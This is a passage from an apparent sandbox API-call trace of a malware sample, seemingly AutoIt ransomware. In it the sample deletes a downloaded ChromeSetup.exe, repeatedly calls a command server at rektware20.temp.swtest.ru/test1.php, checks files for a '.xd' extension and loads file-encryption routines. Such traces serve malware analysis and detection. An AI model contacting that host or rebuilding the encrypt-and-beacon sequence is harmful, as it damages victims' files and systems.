(in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.529] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.529] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0059.529] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.529] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.529] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0059.529] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0059.529] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0059.529] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0059.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0059.530] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0059.530] CryptReleaseContext (hProv=0x1631aa0, dwFlags=0x0) returned 1 [0059.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.530] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.530] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0059.530] FreeLibrary (hLibModule=0x74c60000) returned 1 [0059.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.530] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.530] CloseHandle (hObject=0x2ac) returned 1 [0059.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.543] CloseHandle (hObject=0x3bc) returned 1 [0059.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.599] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0059.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", lpFilePart=0x0) returned 0x2f [0059.599] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\downloads\\chromesetup.exe")) returned 0x20 [0059.600] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7b0 [0059.600] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\downloads\\chromesetup.exe")) returned 1 [0059.604] FindNextFileW (in: hFindFile=0x164c7b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0059.604] FindClose (in: hFindFile=0x164c7b0 | out: hFindFile=0x164c7b0) returned 1 [0059.604] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0059.604] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.604] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.604] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.604] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0059.604] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0059.605] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.605] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0059.605] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.605] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0059.605] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0059.605] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c) returned 1 [0059.606] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0059.606] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0059.607] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0059.611] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0059.611] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0059.611] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0059.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0059.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0059.611] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0059.613] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0059.613] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0059.613] CloseHandle (hObject=0x0) returned 0 [0059.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Downloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ownloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wnloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nloads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="loads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ads\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ds\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0059.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.615] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.615] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0059.615] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0059.615] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0059.616] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0059.616] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.619] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0059.619] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0059.619] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c) returned 1 [0059.619] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0059.619] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0059.619] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0059.620] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0059.620] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0059.620] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0059.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0059.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0059.620] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0059.621] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0059.621] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0059.621] CloseHandle (hObject=0x0) returned 0 [0059.621] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.621] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0059.621] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.621] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.621] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0059.621] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.621] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.621] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0059.621] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.621] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0059.622] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.622] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.622] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0059.622] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.622] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.622] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.622] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.622] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.622] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0059.622] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0059.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0059.623] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0059.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0059.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0059.623] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0059.625] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0059.626] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.626] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.626] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0059.626] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.626] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.626] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.626] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.626] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.626] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0059.626] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.626] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.626] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.627] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.627] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.627] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.627] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0059.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.627] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.627] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0059.627] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, 